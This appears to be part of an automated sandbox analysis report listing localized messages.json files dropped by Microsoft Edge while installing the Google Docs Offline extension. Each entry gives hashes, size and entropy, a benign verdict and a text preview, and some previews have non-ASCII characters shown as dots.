SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
